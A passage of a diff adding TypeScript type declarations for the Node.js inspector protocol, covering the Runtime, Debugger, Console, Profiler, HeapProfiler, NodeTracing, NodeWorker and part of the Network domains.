preview?: ObjectPreview | undefined; + /** + * @experimental + */ + customPreview?: CustomPreview | undefined; + } + /** + * @experimental + */ + interface CustomPreview { + header: string; + hasBody: boolean; + formatterObjectId: RemoteObjectId; + bindRemoteObjectFunctionId: RemoteObjectId; + configObjectId?: RemoteObjectId | undefined; + } + /** + * Object containing abbreviated remote object value. + * @experimental + */ + interface ObjectPreview { + /** + * Object type. + */ + type: string; + /** + * Object subtype hint. Specified for object type values only. + */ + subtype?: string | undefined; + /** + * String representation of the object. + */ + description?: string | undefined; + /** + * True iff some of the properties or entries of the original object did not fit. + */ + overflow: boolean; + /** + * List of the properties. + */ + properties: PropertyPreview[]; + /** + * List of the entries. Specified for map and set subtype values only. + */ + entries?: EntryPreview[] | undefined; + } + /** + * @experimental + */ + interface PropertyPreview { + /** + * Property name. + */ + name: string; + /** + * Object type. Accessor means that the property itself is an accessor property. + */ + type: string; + /** + * User-friendly property value string. + */ + value?: string | undefined; + /** + * Nested value preview. + */ + valuePreview?: ObjectPreview | undefined; + /** + * Object subtype hint. Specified for object type values only. + */ + subtype?: string | undefined; + } + /** + * @experimental + */ + interface EntryPreview { + /** + * Preview of the key. Specified for map-like collection entries. + */ + key?: ObjectPreview | undefined; + /** + * Preview of the value. + */ + value: ObjectPreview; + } + /** + * Object property descriptor. + */ + interface PropertyDescriptor { + /** + * Property name or symbol description. + */ + name: string; + /** + * The value associated with the property. + */ + value?: RemoteObject | undefined; + /** + * True if the value associated with the property may be changed (data descriptors only). + */ + writable?: boolean | undefined; + /** + * A function which serves as a getter for the property, or undefined if there is no getter (accessor descriptors only). + */ + get?: RemoteObject | undefined; + /** + * A function which serves as a setter for the property, or undefined if there is no setter (accessor descriptors only). + */ + set?: RemoteObject | undefined; + /** + * True if the type of this property descriptor may be changed and if the property may be deleted from the corresponding object. + */ + configurable: boolean; + /** + * True if this property shows up during enumeration of the properties on the corresponding object. + */ + enumerable: boolean; + /** + * True if the result was thrown during the evaluation. + */ + wasThrown?: boolean | undefined; + /** + * True if the property is owned for the object. + */ + isOwn?: boolean | undefined; + /** + * Property symbol object, if the property is of the symbol type. + */ + symbol?: RemoteObject | undefined; + } + /** + * Object internal property descriptor. This property isn't normally visible in JavaScript code. + */ + interface InternalPropertyDescriptor { + /** + * Conventional property name. + */ + name: string; + /** + * The value associated with the property. + */ + value?: RemoteObject | undefined; + } + /** + * Represents function call argument. Either remote object id objectId, primitive value, unserializable primitive value or neither of (for undefined) them should be specified. + */ + interface CallArgument { + /** + * Primitive value or serializable javascript object. + */ + value?: any; + /** + * Primitive value which can not be JSON-stringified. + */ + unserializableValue?: UnserializableValue | undefined; + /** + * Remote object handle. + */ + objectId?: RemoteObjectId | undefined; + } + /** + * Id of an execution context. + */ + type ExecutionContextId = number; + /** + * Description of an isolated world. + */ + interface ExecutionContextDescription { + /** + * Unique id of the execution context. It can be used to specify in which execution context script evaluation should be performed. + */ + id: ExecutionContextId; + /** + * Execution context origin. + */ + origin: string; + /** + * Human readable name describing given context. + */ + name: string; + /** + * Embedder-specific auxiliary data. + */ + auxData?: {} | undefined; + } + /** + * Detailed information about exception (or error) that was thrown during script compilation or execution. + */ + interface ExceptionDetails { + /** + * Exception id. + */ + exceptionId: number; + /** + * Exception text, which should be used together with exception object when available. + */ + text: string; + /** + * Line number of the exception location (0-based). + */ + lineNumber: number; + /** + * Column number of the exception location (0-based). + */ + columnNumber: number; + /** + * Script ID of the exception location. + */ + scriptId?: ScriptId | undefined; + /** + * URL of the exception location, to be used when the script was not reported. + */ + url?: string | undefined; + /** + * JavaScript stack trace if available. + */ + stackTrace?: StackTrace | undefined; + /** + * Exception object if available. + */ + exception?: RemoteObject | undefined; + /** + * Identifier of the context where exception happened. + */ + executionContextId?: ExecutionContextId | undefined; + } + /** + * Number of milliseconds since epoch. + */ + type Timestamp = number; + /** + * Stack entry for runtime errors and assertions. + */ + interface CallFrame { + /** + * JavaScript function name. + */ + functionName: string; + /** + * JavaScript script id. + */ + scriptId: ScriptId; + /** + * JavaScript script name or url. + */ + url: string; + /** + * JavaScript script line number (0-based). + */ + lineNumber: number; + /** + * JavaScript script column number (0-based). + */ + columnNumber: number; + } + /** + * Call frames for assertions or error messages. + */ + interface StackTrace { + /** + * String label of this stack trace. For async traces this may be a name of the function that initiated the async call. + */ + description?: string | undefined; + /** + * JavaScript function name. + */ + callFrames: CallFrame[]; + /** + * Asynchronous JavaScript stack trace that preceded this stack, if available. + */ + parent?: StackTrace | undefined; + /** + * Asynchronous JavaScript stack trace that preceded this stack, if available. + * @experimental + */ + parentId?: StackTraceId | undefined; + } + /** + * Unique identifier of current debugger. + * @experimental + */ + type UniqueDebuggerId = string; + /** + * If debuggerId is set stack trace comes from another debugger and can be resolved there. This allows to track cross-debugger calls. See Runtime.StackTrace and Debugger.paused for usages. + * @experimental + */ + interface StackTraceId { + id: string; + debuggerId?: UniqueDebuggerId | undefined; + } + interface EvaluateParameterType { + /** + * Expression to evaluate. + */ + expression: string; + /** + * Symbolic group name that can be used to release multiple objects. + */ + objectGroup?: string | undefined; + /** + * Determines whether Command Line API should be available during the evaluation. + */ + includeCommandLineAPI?: boolean | undefined; + /** + * In silent mode exceptions thrown during evaluation are not reported and do not pause execution. Overrides setPauseOnException state. + */ + silent?: boolean | undefined; + /** + * Specifies in which execution context to perform evaluation. If the parameter is omitted the evaluation will be performed in the context of the inspected page. + */ + contextId?: ExecutionContextId | undefined; + /** + * Whether the result is expected to be a JSON object that should be sent by value. + */ + returnByValue?: boolean | undefined; + /** + * Whether preview should be generated for the result. + * @experimental + */ + generatePreview?: boolean | undefined; + /** + * Whether execution should be treated as initiated by user in the UI. + */ + userGesture?: boolean | undefined; + /** + * Whether execution should await for resulting value and return once awaited promise is resolved. + */ + awaitPromise?: boolean | undefined; + } + interface AwaitPromiseParameterType { + /** + * Identifier of the promise. + */ + promiseObjectId: RemoteObjectId; + /** + * Whether the result is expected to be a JSON object that should be sent by value. + */ + returnByValue?: boolean | undefined; + /** + * Whether preview should be generated for the result. + */ + generatePreview?: boolean | undefined; + } + interface CallFunctionOnParameterType { + /** + * Declaration of the function to call. + */ + functionDeclaration: string; + /** + * Identifier of the object to call function on. Either objectId or executionContextId should be specified. + */ + objectId?: RemoteObjectId | undefined; + /** + * Call arguments. All call arguments must belong to the same JavaScript world as the target object. + */ + arguments?: CallArgument[] | undefined; + /** + * In silent mode exceptions thrown during evaluation are not reported and do not pause execution. Overrides setPauseOnException state. + */ + silent?: boolean | undefined; + /** + * Whether the result is expected to be a JSON object which should be sent by value. + */ + returnByValue?: boolean | undefined; + /** + * Whether preview should be generated for the result. + * @experimental + */ + generatePreview?: boolean | undefined; + /** + * Whether execution should be treated as initiated by user in the UI. + */ + userGesture?: boolean | undefined; + /** + * Whether execution should await for resulting value and return once awaited promise is resolved. + */ + awaitPromise?: boolean | undefined; + /** + * Specifies execution context which global object will be used to call function on. Either executionContextId or objectId should be specified. + */ + executionContextId?: ExecutionContextId | undefined; + /** + * Symbolic group name that can be used to release multiple objects. If objectGroup is not specified and objectId is, objectGroup will be inherited from object. + */ + objectGroup?: string | undefined; + } + interface GetPropertiesParameterType { + /** + * Identifier of the object to return properties for. + */ + objectId: RemoteObjectId; + /** + * If true, returns properties belonging only to the element itself, not to its prototype chain. + */ + ownProperties?: boolean | undefined; + /** + * If true, returns accessor properties (with getter/setter) only; internal properties are not returned either. + * @experimental + */ + accessorPropertiesOnly?: boolean | undefined; + /** + * Whether preview should be generated for the results. + * @experimental + */ + generatePreview?: boolean | undefined; + } + interface ReleaseObjectParameterType { + /** + * Identifier of the object to release. + */ + objectId: RemoteObjectId; + } + interface ReleaseObjectGroupParameterType { + /** + * Symbolic object group name. + */ + objectGroup: string; + } + interface SetCustomObjectFormatterEnabledParameterType { + enabled: boolean; + } + interface CompileScriptParameterType { + /** + * Expression to compile. + */ + expression: string; + /** + * Source url to be set for the script. + */ + sourceURL: string; + /** + * Specifies whether the compiled script should be persisted. + */ + persistScript: boolean; + /** + * Specifies in which execution context to perform script run. If the parameter is omitted the evaluation will be performed in the context of the inspected page. + */ + executionContextId?: ExecutionContextId | undefined; + } + interface RunScriptParameterType { + /** + * Id of the script to run. + */ + scriptId: ScriptId; + /** + * Specifies in which execution context to perform script run. If the parameter is omitted the evaluation will be performed in the context of the inspected page. + */ + executionContextId?: ExecutionContextId | undefined; + /** + * Symbolic group name that can be used to release multiple objects. + */ + objectGroup?: string | undefined; + /** + * In silent mode exceptions thrown during evaluation are not reported and do not pause execution. Overrides setPauseOnException state. + */ + silent?: boolean | undefined; + /** + * Determines whether Command Line API should be available during the evaluation. + */ + includeCommandLineAPI?: boolean | undefined; + /** + * Whether the result is expected to be a JSON object which should be sent by value. + */ + returnByValue?: boolean | undefined; + /** + * Whether preview should be generated for the result. + */ + generatePreview?: boolean | undefined; + /** + * Whether execution should await for resulting value and return once awaited promise is resolved. + */ + awaitPromise?: boolean | undefined; + } + interface QueryObjectsParameterType { + /** + * Identifier of the prototype to return objects for. + */ + prototypeObjectId: RemoteObjectId; + } + interface GlobalLexicalScopeNamesParameterType { + /** + * Specifies in which execution context to lookup global scope variables. + */ + executionContextId?: ExecutionContextId | undefined; + } + interface EvaluateReturnType { + /** + * Evaluation result. + */ + result: RemoteObject; + /** + * Exception details. + */ + exceptionDetails?: ExceptionDetails | undefined; + } + interface AwaitPromiseReturnType { + /** + * Promise result. Will contain rejected value if promise was rejected. + */ + result: RemoteObject; + /** + * Exception details if stack strace is available. + */ + exceptionDetails?: ExceptionDetails | undefined; + } + interface CallFunctionOnReturnType { + /** + * Call result. + */ + result: RemoteObject; + /** + * Exception details. + */ + exceptionDetails?: ExceptionDetails | undefined; + } + interface GetPropertiesReturnType { + /** + * Object properties. + */ + result: PropertyDescriptor[]; + /** + * Internal object properties (only of the element itself). + */ + internalProperties?: InternalPropertyDescriptor[] | undefined; + /** + * Exception details. + */ + exceptionDetails?: ExceptionDetails | undefined; + } + interface CompileScriptReturnType { + /** + * Id of the script. + */ + scriptId?: ScriptId | undefined; + /** + * Exception details. + */ + exceptionDetails?: ExceptionDetails | undefined; + } + interface RunScriptReturnType { + /** + * Run result. + */ + result: RemoteObject; + /** + * Exception details. + */ + exceptionDetails?: ExceptionDetails | undefined; + } + interface QueryObjectsReturnType { + /** + * Array with objects. + */ + objects: RemoteObject; + } + interface GlobalLexicalScopeNamesReturnType { + names: string[]; + } + interface ExecutionContextCreatedEventDataType { + /** + * A newly created execution context. + */ + context: ExecutionContextDescription; + } + interface ExecutionContextDestroyedEventDataType { + /** + * Id of the destroyed context + */ + executionContextId: ExecutionContextId; + } + interface ExceptionThrownEventDataType { + /** + * Timestamp of the exception. + */ + timestamp: Timestamp; + exceptionDetails: ExceptionDetails; + } + interface ExceptionRevokedEventDataType { + /** + * Reason describing why exception was revoked. + */ + reason: string; + /** + * The id of revoked exception, as reported in exceptionThrown. + */ + exceptionId: number; + } + interface ConsoleAPICalledEventDataType { + /** + * Type of the call. + */ + type: string; + /** + * Call arguments. + */ + args: RemoteObject[]; + /** + * Identifier of the context where the call was made. + */ + executionContextId: ExecutionContextId; + /** + * Call timestamp. + */ + timestamp: Timestamp; + /** + * Stack trace captured when the call was made. + */ + stackTrace?: StackTrace | undefined; + /** + * Console context descriptor for calls on non-default console context (not console.*): 'anonymous#unique-logger-id' for call on unnamed context, 'name#unique-logger-id' for call on named context. + * @experimental + */ + context?: string | undefined; + } + interface InspectRequestedEventDataType { + object: RemoteObject; + hints: {}; + } + } + namespace Debugger { + /** + * Breakpoint identifier. + */ + type BreakpointId = string; + /** + * Call frame identifier. + */ + type CallFrameId = string; + /** + * Location in the source code. + */ + interface Location { + /** + * Script identifier as reported in the Debugger.scriptParsed. + */ + scriptId: Runtime.ScriptId; + /** + * Line number in the script (0-based). + */ + lineNumber: number; + /** + * Column number in the script (0-based). + */ + columnNumber?: number | undefined; + } + /** + * Location in the source code. + * @experimental + */ + interface ScriptPosition { + lineNumber: number; + columnNumber: number; + } + /** + * JavaScript call frame. Array of call frames form the call stack. + */ + interface CallFrame { + /** + * Call frame identifier. This identifier is only valid while the virtual machine is paused. + */ + callFrameId: CallFrameId; + /** + * Name of the JavaScript function called on this call frame. + */ + functionName: string; + /** + * Location in the source code. + */ + functionLocation?: Location | undefined; + /** + * Location in the source code. + */ + location: Location; + /** + * JavaScript script name or url. + */ + url: string; + /** + * Scope chain for this call frame. + */ + scopeChain: Scope[]; + /** + * this object for this call frame. + */ + this: Runtime.RemoteObject; + /** + * The value being returned, if the function is at return point. + */ + returnValue?: Runtime.RemoteObject | undefined; + } + /** + * Scope description. + */ + interface Scope { + /** + * Scope type. + */ + type: string; + /** + * Object representing the scope. For global and with scopes it represents the actual object; for the rest of the scopes, it is artificial transient object enumerating scope variables as its properties. + */ + object: Runtime.RemoteObject; + name?: string | undefined; + /** + * Location in the source code where scope starts + */ + startLocation?: Location | undefined; + /** + * Location in the source code where scope ends + */ + endLocation?: Location | undefined; + } + /** + * Search match for resource. + */ + interface SearchMatch { + /** + * Line number in resource content. + */ + lineNumber: number; + /** + * Line with match content. + */ + lineContent: string; + } + interface BreakLocation { + /** + * Script identifier as reported in the Debugger.scriptParsed. + */ + scriptId: Runtime.ScriptId; + /** + * Line number in the script (0-based). + */ + lineNumber: number; + /** + * Column number in the script (0-based). + */ + columnNumber?: number | undefined; + type?: string | undefined; + } + interface SetBreakpointsActiveParameterType { + /** + * New value for breakpoints active state. + */ + active: boolean; + } + interface SetSkipAllPausesParameterType { + /** + * New value for skip pauses state. + */ + skip: boolean; + } + interface SetBreakpointByUrlParameterType { + /** + * Line number to set breakpoint at. + */ + lineNumber: number; + /** + * URL of the resources to set breakpoint on. + */ + url?: string | undefined; + /** + * Regex pattern for the URLs of the resources to set breakpoints on. Either url or urlRegex must be specified. + */ + urlRegex?: string | undefined; + /** + * Script hash of the resources to set breakpoint on. + */ + scriptHash?: string | undefined; + /** + * Offset in the line to set breakpoint at. + */ + columnNumber?: number | undefined; + /** + * Expression to use as a breakpoint condition. When specified, debugger will only stop on the breakpoint if this expression evaluates to true. + */ + condition?: string | undefined; + } + interface SetBreakpointParameterType { + /** + * Location to set breakpoint in. + */ + location: Location; + /** + * Expression to use as a breakpoint condition. When specified, debugger will only stop on the breakpoint if this expression evaluates to true. + */ + condition?: string | undefined; + } + interface RemoveBreakpointParameterType { + breakpointId: BreakpointId; + } + interface GetPossibleBreakpointsParameterType { + /** + * Start of range to search possible breakpoint locations in. + */ + start: Location; + /** + * End of range to search possible breakpoint locations in (excluding). When not specified, end of scripts is used as end of range. + */ + end?: Location | undefined; + /** + * Only consider locations which are in the same (non-nested) function as start. + */ + restrictToFunction?: boolean | undefined; + } + interface ContinueToLocationParameterType { + /** + * Location to continue to. + */ + location: Location; + targetCallFrames?: string | undefined; + } + interface PauseOnAsyncCallParameterType { + /** + * Debugger will pause when async call with given stack trace is started. + */ + parentStackTraceId: Runtime.StackTraceId; + } + interface StepIntoParameterType { + /** + * Debugger will issue additional Debugger.paused notification if any async task is scheduled before next pause. + * @experimental + */ + breakOnAsyncCall?: boolean | undefined; + } + interface GetStackTraceParameterType { + stackTraceId: Runtime.StackTraceId; + } + interface SearchInContentParameterType { + /** + * Id of the script to search in. + */ + scriptId: Runtime.ScriptId; + /** + * String to search for. + */ + query: string; + /** + * If true, search is case sensitive. + */ + caseSensitive?: boolean | undefined; + /** + * If true, treats string parameter as regex. + */ + isRegex?: boolean | undefined; + } + interface SetScriptSourceParameterType { + /** + * Id of the script to edit. + */ + scriptId: Runtime.ScriptId; + /** + * New content of the script. + */ + scriptSource: string; + /** + * If true the change will not actually be applied. Dry run may be used to get result description without actually modifying the code. + */ + dryRun?: boolean | undefined; + } + interface RestartFrameParameterType { + /** + * Call frame identifier to evaluate on. + */ + callFrameId: CallFrameId; + } + interface GetScriptSourceParameterType { + /** + * Id of the script to get source for. + */ + scriptId: Runtime.ScriptId; + } + interface SetPauseOnExceptionsParameterType { + /** + * Pause on exceptions mode. + */ + state: string; + } + interface EvaluateOnCallFrameParameterType { + /** + * Call frame identifier to evaluate on. + */ + callFrameId: CallFrameId; + /** + * Expression to evaluate. + */ + expression: string; + /** + * String object group name to put result into (allows rapid releasing resulting object handles using releaseObjectGroup). + */ + objectGroup?: string | undefined; + /** + * Specifies whether command line API should be available to the evaluated expression, defaults to false. + */ + includeCommandLineAPI?: boolean | undefined; + /** + * In silent mode exceptions thrown during evaluation are not reported and do not pause execution. Overrides setPauseOnException state. + */ + silent?: boolean | undefined; + /** + * Whether the result is expected to be a JSON object that should be sent by value. + */ + returnByValue?: boolean | undefined; + /** + * Whether preview should be generated for the result. + * @experimental + */ + generatePreview?: boolean | undefined; + /** + * Whether to throw an exception if side effect cannot be ruled out during evaluation. + */ + throwOnSideEffect?: boolean | undefined; + } + interface SetVariableValueParameterType { + /** + * 0-based number of scope as was listed in scope chain. Only 'local', 'closure' and 'catch' scope types are allowed. Other scopes could be manipulated manually. + */ + scopeNumber: number; + /** + * Variable name. + */ + variableName: string; + /** + * New variable value. + */ + newValue: Runtime.CallArgument; + /** + * Id of callframe that holds variable. + */ + callFrameId: CallFrameId; + } + interface SetReturnValueParameterType { + /** + * New return value. + */ + newValue: Runtime.CallArgument; + } + interface SetAsyncCallStackDepthParameterType { + /** + * Maximum depth of async call stacks. Setting to 0 will effectively disable collecting async call stacks (default). + */ + maxDepth: number; + } + interface SetBlackboxPatternsParameterType { + /** + * Array of regexps that will be used to check script url for blackbox state. + */ + patterns: string[]; + } + interface SetBlackboxedRangesParameterType { + /** + * Id of the script. + */ + scriptId: Runtime.ScriptId; + positions: ScriptPosition[]; + } + interface EnableReturnType { + /** + * Unique identifier of the debugger. + * @experimental + */ + debuggerId: Runtime.UniqueDebuggerId; + } + interface SetBreakpointByUrlReturnType { + /** + * Id of the created breakpoint for further reference. + */ + breakpointId: BreakpointId; + /** + * List of the locations this breakpoint resolved into upon addition. + */ + locations: Location[]; + } + interface SetBreakpointReturnType { + /** + * Id of the created breakpoint for further reference. + */ + breakpointId: BreakpointId; + /** + * Location this breakpoint resolved into. + */ + actualLocation: Location; + } + interface GetPossibleBreakpointsReturnType { + /** + * List of the possible breakpoint locations. + */ + locations: BreakLocation[]; + } + interface GetStackTraceReturnType { + stackTrace: Runtime.StackTrace; + } + interface SearchInContentReturnType { + /** + * List of search matches. + */ + result: SearchMatch[]; + } + interface SetScriptSourceReturnType { + /** + * New stack trace in case editing has happened while VM was stopped. + */ + callFrames?: CallFrame[] | undefined; + /** + * Whether current call stack was modified after applying the changes. + */ + stackChanged?: boolean | undefined; + /** + * Async stack trace, if any. + */ + asyncStackTrace?: Runtime.StackTrace | undefined; + /** + * Async stack trace, if any. + * @experimental + */ + asyncStackTraceId?: Runtime.StackTraceId | undefined; + /** + * Exception details if any. + */ + exceptionDetails?: Runtime.ExceptionDetails | undefined; + } + interface RestartFrameReturnType { + /** + * New stack trace. + */ + callFrames: CallFrame[]; + /** + * Async stack trace, if any. + */ + asyncStackTrace?: Runtime.StackTrace | undefined; + /** + * Async stack trace, if any. + * @experimental + */ + asyncStackTraceId?: Runtime.StackTraceId | undefined; + } + interface GetScriptSourceReturnType { + /** + * Script source. + */ + scriptSource: string; + } + interface EvaluateOnCallFrameReturnType { + /** + * Object wrapper for the evaluation result. + */ + result: Runtime.RemoteObject; + /** + * Exception details. + */ + exceptionDetails?: Runtime.ExceptionDetails | undefined; + } + interface ScriptParsedEventDataType { + /** + * Identifier of the script parsed. + */ + scriptId: Runtime.ScriptId; + /** + * URL or name of the script parsed (if any). + */ + url: string; + /** + * Line offset of the script within the resource with given URL (for script tags). + */ + startLine: number; + /** + * Column offset of the script within the resource with given URL. + */ + startColumn: number; + /** + * Last line of the script. + */ + endLine: number; + /** + * Length of the last line of the script. + */ + endColumn: number; + /** + * Specifies script creation context. + */ + executionContextId: Runtime.ExecutionContextId; + /** + * Content hash of the script. + */ + hash: string; + /** + * Embedder-specific auxiliary data. + */ + executionContextAuxData?: {} | undefined; + /** + * True, if this script is generated as a result of the live edit operation. + * @experimental + */ + isLiveEdit?: boolean | undefined; + /** + * URL of source map associated with script (if any). + */ + sourceMapURL?: string | undefined; + /** + * True, if this script has sourceURL. + */ + hasSourceURL?: boolean | undefined; + /** + * True, if this script is ES6 module. + */ + isModule?: boolean | undefined; + /** + * This script length. + */ + length?: number | undefined; + /** + * JavaScript top stack frame of where the script parsed event was triggered if available. + * @experimental + */ + stackTrace?: Runtime.StackTrace | undefined; + } + interface ScriptFailedToParseEventDataType { + /** + * Identifier of the script parsed. + */ + scriptId: Runtime.ScriptId; + /** + * URL or name of the script parsed (if any). + */ + url: string; + /** + * Line offset of the script within the resource with given URL (for script tags). + */ + startLine: number; + /** + * Column offset of the script within the resource with given URL. + */ + startColumn: number; + /** + * Last line of the script. + */ + endLine: number; + /** + * Length of the last line of the script. + */ + endColumn: number; + /** + * Specifies script creation context. + */ + executionContextId: Runtime.ExecutionContextId; + /** + * Content hash of the script. + */ + hash: string; + /** + * Embedder-specific auxiliary data. + */ + executionContextAuxData?: {} | undefined; + /** + * URL of source map associated with script (if any). + */ + sourceMapURL?: string | undefined; + /** + * True, if this script has sourceURL. + */ + hasSourceURL?: boolean | undefined; + /** + * True, if this script is ES6 module. + */ + isModule?: boolean | undefined; + /** + * This script length. + */ + length?: number | undefined; + /** + * JavaScript top stack frame of where the script parsed event was triggered if available. + * @experimental + */ + stackTrace?: Runtime.StackTrace | undefined; + } + interface BreakpointResolvedEventDataType { + /** + * Breakpoint unique identifier. + */ + breakpointId: BreakpointId; + /** + * Actual breakpoint location. + */ + location: Location; + } + interface PausedEventDataType { + /** + * Call stack the virtual machine stopped on. + */ + callFrames: CallFrame[]; + /** + * Pause reason. + */ + reason: string; + /** + * Object containing break-specific auxiliary properties. + */ + data?: {} | undefined; + /** + * Hit breakpoints IDs + */ + hitBreakpoints?: string[] | undefined; + /** + * Async stack trace, if any. + */ + asyncStackTrace?: Runtime.StackTrace | undefined; + /** + * Async stack trace, if any. + * @experimental + */ + asyncStackTraceId?: Runtime.StackTraceId | undefined; + /** + * Just scheduled async call will have this stack trace as parent stack during async execution. This field is available only after Debugger.stepInto call with breakOnAsynCall flag. + * @experimental + */ + asyncCallStackTraceId?: Runtime.StackTraceId | undefined; + } + } + namespace Console { + /** + * Console message. + */ + interface ConsoleMessage { + /** + * Message source. + */ + source: string; + /** + * Message severity. + */ + level: string; + /** + * Message text. + */ + text: string; + /** + * URL of the message origin. + */ + url?: string | undefined; + /** + * Line number in the resource that generated this message (1-based). + */ + line?: number | undefined; + /** + * Column number in the resource that generated this message (1-based). + */ + column?: number | undefined; + } + interface MessageAddedEventDataType { + /** + * Console message that has been added. + */ + message: ConsoleMessage; + } + } + namespace Profiler { + /** + * Profile node. Holds callsite information, execution statistics and child nodes. + */ + interface ProfileNode { + /** + * Unique id of the node. + */ + id: number; + /** + * Function location. + */ + callFrame: Runtime.CallFrame; + /** + * Number of samples where this node was on top of the call stack. + */ + hitCount?: number | undefined; + /** + * Child node ids. + */ + children?: number[] | undefined; + /** + * The reason of being not optimized. The function may be deoptimized or marked as don't optimize. + */ + deoptReason?: string | undefined; + /** + * An array of source position ticks. + */ + positionTicks?: PositionTickInfo[] | undefined; + } + /** + * Profile. + */ + interface Profile { + /** + * The list of profile nodes. First item is the root node. + */ + nodes: ProfileNode[]; + /** + * Profiling start timestamp in microseconds. + */ + startTime: number; + /** + * Profiling end timestamp in microseconds. + */ + endTime: number; + /** + * Ids of samples top nodes. + */ + samples?: number[] | undefined; + /** + * Time intervals between adjacent samples in microseconds. The first delta is relative to the profile startTime. + */ + timeDeltas?: number[] | undefined; + } + /** + * Specifies a number of samples attributed to a certain source position. + */ + interface PositionTickInfo { + /** + * Source line number (1-based). + */ + line: number; + /** + * Number of samples attributed to the source line. + */ + ticks: number; + } + /** + * Coverage data for a source range. + */ + interface CoverageRange { + /** + * JavaScript script source offset for the range start. + */ + startOffset: number; + /** + * JavaScript script source offset for the range end. + */ + endOffset: number; + /** + * Collected execution count of the source range. + */ + count: number; + } + /** + * Coverage data for a JavaScript function. + */ + interface FunctionCoverage { + /** + * JavaScript function name. + */ + functionName: string; + /** + * Source ranges inside the function with coverage data. + */ + ranges: CoverageRange[]; + /** + * Whether coverage data for this function has block granularity. + */ + isBlockCoverage: boolean; + } + /** + * Coverage data for a JavaScript script. + */ + interface ScriptCoverage { + /** + * JavaScript script id. + */ + scriptId: Runtime.ScriptId; + /** + * JavaScript script name or url. + */ + url: string; + /** + * Functions contained in the script that has coverage data. + */ + functions: FunctionCoverage[]; + } + interface SetSamplingIntervalParameterType { + /** + * New sampling interval in microseconds. + */ + interval: number; + } + interface StartPreciseCoverageParameterType { + /** + * Collect accurate call counts beyond simple 'covered' or 'not covered'. + */ + callCount?: boolean | undefined; + /** + * Collect block-based coverage. + */ + detailed?: boolean | undefined; + } + interface StopReturnType { + /** + * Recorded profile. + */ + profile: Profile; + } + interface TakePreciseCoverageReturnType { + /** + * Coverage data for the current isolate. + */ + result: ScriptCoverage[]; + } + interface GetBestEffortCoverageReturnType { + /** + * Coverage data for the current isolate. + */ + result: ScriptCoverage[]; + } + interface ConsoleProfileStartedEventDataType { + id: string; + /** + * Location of console.profile(). + */ + location: Debugger.Location; + /** + * Profile title passed as an argument to console.profile(). + */ + title?: string | undefined; + } + interface ConsoleProfileFinishedEventDataType { + id: string; + /** + * Location of console.profileEnd(). + */ + location: Debugger.Location; + profile: Profile; + /** + * Profile title passed as an argument to console.profile(). + */ + title?: string | undefined; + } + } + namespace HeapProfiler { + /** + * Heap snapshot object id. + */ + type HeapSnapshotObjectId = string; + /** + * Sampling Heap Profile node. Holds callsite information, allocation statistics and child nodes. + */ + interface SamplingHeapProfileNode { + /** + * Function location. + */ + callFrame: Runtime.CallFrame; + /** + * Allocations size in bytes for the node excluding children. + */ + selfSize: number; + /** + * Child nodes. + */ + children: SamplingHeapProfileNode[]; + } + /** + * Profile. + */ + interface SamplingHeapProfile { + head: SamplingHeapProfileNode; + } + interface StartTrackingHeapObjectsParameterType { + trackAllocations?: boolean | undefined; + } + interface StopTrackingHeapObjectsParameterType { + /** + * If true 'reportHeapSnapshotProgress' events will be generated while snapshot is being taken when the tracking is stopped. + */ + reportProgress?: boolean | undefined; + } + interface TakeHeapSnapshotParameterType { + /** + * If true 'reportHeapSnapshotProgress' events will be generated while snapshot is being taken. + */ + reportProgress?: boolean | undefined; + } + interface GetObjectByHeapObjectIdParameterType { + objectId: HeapSnapshotObjectId; + /** + * Symbolic group name that can be used to release multiple objects. + */ + objectGroup?: string | undefined; + } + interface AddInspectedHeapObjectParameterType { + /** + * Heap snapshot object id to be accessible by means of $x command line API. + */ + heapObjectId: HeapSnapshotObjectId; + } + interface GetHeapObjectIdParameterType { + /** + * Identifier of the object to get heap object id for. + */ + objectId: Runtime.RemoteObjectId; + } + interface StartSamplingParameterType { + /** + * Average sample interval in bytes. Poisson distribution is used for the intervals. The default value is 32768 bytes. + */ + samplingInterval?: number | undefined; + } + interface GetObjectByHeapObjectIdReturnType { + /** + * Evaluation result. + */ + result: Runtime.RemoteObject; + } + interface GetHeapObjectIdReturnType { + /** + * Id of the heap snapshot object corresponding to the passed remote object id. + */ + heapSnapshotObjectId: HeapSnapshotObjectId; + } + interface StopSamplingReturnType { + /** + * Recorded sampling heap profile. + */ + profile: SamplingHeapProfile; + } + interface GetSamplingProfileReturnType { + /** + * Return the sampling profile being collected. + */ + profile: SamplingHeapProfile; + } + interface AddHeapSnapshotChunkEventDataType { + chunk: string; + } + interface ReportHeapSnapshotProgressEventDataType { + done: number; + total: number; + finished?: boolean | undefined; + } + interface LastSeenObjectIdEventDataType { + lastSeenObjectId: number; + timestamp: number; + } + interface HeapStatsUpdateEventDataType { + /** + * An array of triplets. Each triplet describes a fragment. The first integer is the fragment index, the second integer is a total count of objects for the fragment, the third integer is a total size of the objects for the fragment. + */ + statsUpdate: number[]; + } + } + namespace NodeTracing { + interface TraceConfig { + /** + * Controls how the trace buffer stores data. + */ + recordMode?: string | undefined; + /** + * Included category filters. + */ + includedCategories: string[]; + } + interface StartParameterType { + traceConfig: TraceConfig; + } + interface GetCategoriesReturnType { + /** + * A list of supported tracing categories. + */ + categories: string[]; + } + interface DataCollectedEventDataType { + value: Array<{}>; + } + } + namespace NodeWorker { + type WorkerID = string; + /** + * Unique identifier of attached debugging session. + */ + type SessionID = string; + interface WorkerInfo { + workerId: WorkerID; + type: string; + title: string; + url: string; + } + interface SendMessageToWorkerParameterType { + message: string; + /** + * Identifier of the session. + */ + sessionId: SessionID; + } + interface EnableParameterType { + /** + * Whether to new workers should be paused until the frontend sends `Runtime.runIfWaitingForDebugger` + * message to run them. + */ + waitForDebuggerOnStart: boolean; + } + interface DetachParameterType { + sessionId: SessionID; + } + interface AttachedToWorkerEventDataType { + /** + * Identifier assigned to the session used to send/receive messages. + */ + sessionId: SessionID; + workerInfo: WorkerInfo; + waitingForDebugger: boolean; + } + interface DetachedFromWorkerEventDataType { + /** + * Detached session identifier. + */ + sessionId: SessionID; + } + interface ReceivedMessageFromWorkerEventDataType { + /** + * Identifier of a session which sends a message. + */ + sessionId: SessionID; + message: string; + } + } + namespace Network { + /** + * Resource type as it was perceived by the rendering engine. + */ + type ResourceType = string; + /** + * Unique request identifier. + */ + type RequestId = string; + /** + * UTC time in seconds, counted from January 1, 1970. + */ + type TimeSinceEpoch = number; + /** + * Monotonically increasing time in seconds since an arbitrary point in the past. + */ + type MonotonicTime = number; + /** + * HTTP request data. + */ + interface Request { + url: string; + method: string; + headers: Headers; + } + /** + * HTTP response data. + */ + interface Response { + url: string; + status: number; + statusText: string; + headers: 